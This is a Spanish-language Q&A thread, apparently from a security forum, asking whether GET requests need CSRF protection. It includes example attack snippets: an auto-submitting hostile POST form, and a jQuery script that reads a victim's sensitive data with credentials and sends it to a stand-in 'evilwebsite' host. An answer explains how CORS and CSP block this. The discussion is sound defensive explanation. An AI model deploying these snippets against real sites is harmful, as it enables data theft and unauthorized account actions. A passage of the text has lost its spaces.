Se necesita protección CSRF para las solicitudes GET

2

Tengo una API REST que permite a los usuarios autenticados leer datos sobre su propia cuenta y realizar cambios en sus cuentas. Para la autenticación utilizo JWTs almacenados como cookies httpOnly. Para protegerse contra los ataques CSRF, la API REST también proporciona al cliente lo que Angular llama un "token XSRF".

El método de protección CSRF de Angular es tomar el token XSRF que crea su API y volver a enviarlo a la API con cada solicitud en un encabezado "X-XSRF-Token". Depende de su API determinar si se debe permitir la solicitud o no. Una secuencia de comandos que se ejecuta en un sitio web hostil no tendría acceso al token XSRF y, por lo tanto, no podría enviarlo junto con ninguna solicitud CSRF.

Cuando fui a implementar mis solicitudes de front-end en Angular usando HttpClient, noté que HttpXsrfInterceptor no envía el encabezado X-XSRF-Token con solicitudes GET y HEAD.

A partir de las opiniones que he leído en línea, la protección CSRF no es necesaria para las solicitudes GET porque no modifican (o no deberían) modificar ningún dato. Lo máximo que un ataque CSRF podría hacer con una solicitud GET es que la API REST envíe datos confidenciales al navegador web del usuario. El sitio web hostil no podría ver esos datos.

Ejemplo 1: CSRF GET

Si un sitio web hostil intenta emitir una solicitud CSRF GET como esta:

<img src="https://example.com/sensitiveData">

luego,losdatosconfidencialessetransmitendesdelaAPIalnavegadorwebdelusuario,peroelsitiowebhostilnopuedeverlosdatos,porloquetodoestábien.

Ejemplo2:CSRFPOST

SiunsitiowebhostilintentaemitirunasolicitudPOSTCSRFcomoesta:

<bodyonLoad="document.forms[0].submit()">
<form method="post" action="https://example.com/purchase">
  <input type="hidden" name="itemId" value="34873847">
  <input type="submit" value="View Kittens">
</form>
...

entonces el sitio web hostil aún no verá ningún dato, pero podría causar daños al usuario. Si la API requiere que el encabezado X-XSRF-Token esté presente, este ataque no podrá tener éxito.

Ejemplo 3: CSRF GET a través de Ajax

Pero qué pasa si el sitio web hostil obliga al navegador a realizar una solicitud GET de esta manera:

<script>
$.ajax('https://example.com/sensitiveData', {
  xhrFields: {
    withCredentials: true,
  },
}).done((sensitiveData) => {
  $.ajax('https://evilwebsite/logData', {
    method: 'post',
    data: sensitiveData,
  }).done(() => {
    console.log('I stole your data', sensitiveData)
  });
});
</script>

Algunas políticas de CORS detendrían esto, pero otras políticas de CORS aún lo permitirían.

Parece que requerir protección CSRF en las solicitudes GET mitigaría esta vulnerabilidad.

¿Me estoy perdiendo algo importante?

    
pregunta Dave 17.08.2018 - 17:06
fuente

1 respuesta

2

Eres 100% correcto en todo en tu introducción y en los ejemplos 1 y 2.

Con respecto al ejemplo 3, CORS activaría y bloquearía el script para que no recibiera el resultado de example.com . La única forma en que el JavaScript dado podría leer la respuesta y enviarla a evil.com es si se cumple una de las siguientes condiciones:

  1. Esta secuencia de comandos se está ejecutando en un dominio que example.com ha incluido de forma explícita en la lista blanca a través de los encabezados CORS y le ha dado permiso para usar credenciales
  2. La secuencia de comandos se ejecuta directamente en example.com (en cuyo caso ha sido víctima de un ataque XSS, que es un problema grave).

Incluso en el caso del # 2 anterior, puede evitar que los datos se escapen a evil.com con un CSP sólido (vale la pena un Google si no está familiarizado).

En resumen: este es el tipo exacto de ataque contra el que está diseñado CORS. Excepto los elementos anteriores, CORS debe bloquear la respuesta en todos los casos. Por lo tanto, a menos que tenga un ejemplo específico en el que cree que CORS no se aplicará, creo que su afirmación de que CORS podría permitir este tipo de solicitudes es incorrecta.

    
respondido por el Conor Mancone 17.08.2018 - 18:29
fuente

Lea otras preguntas en las etiquetas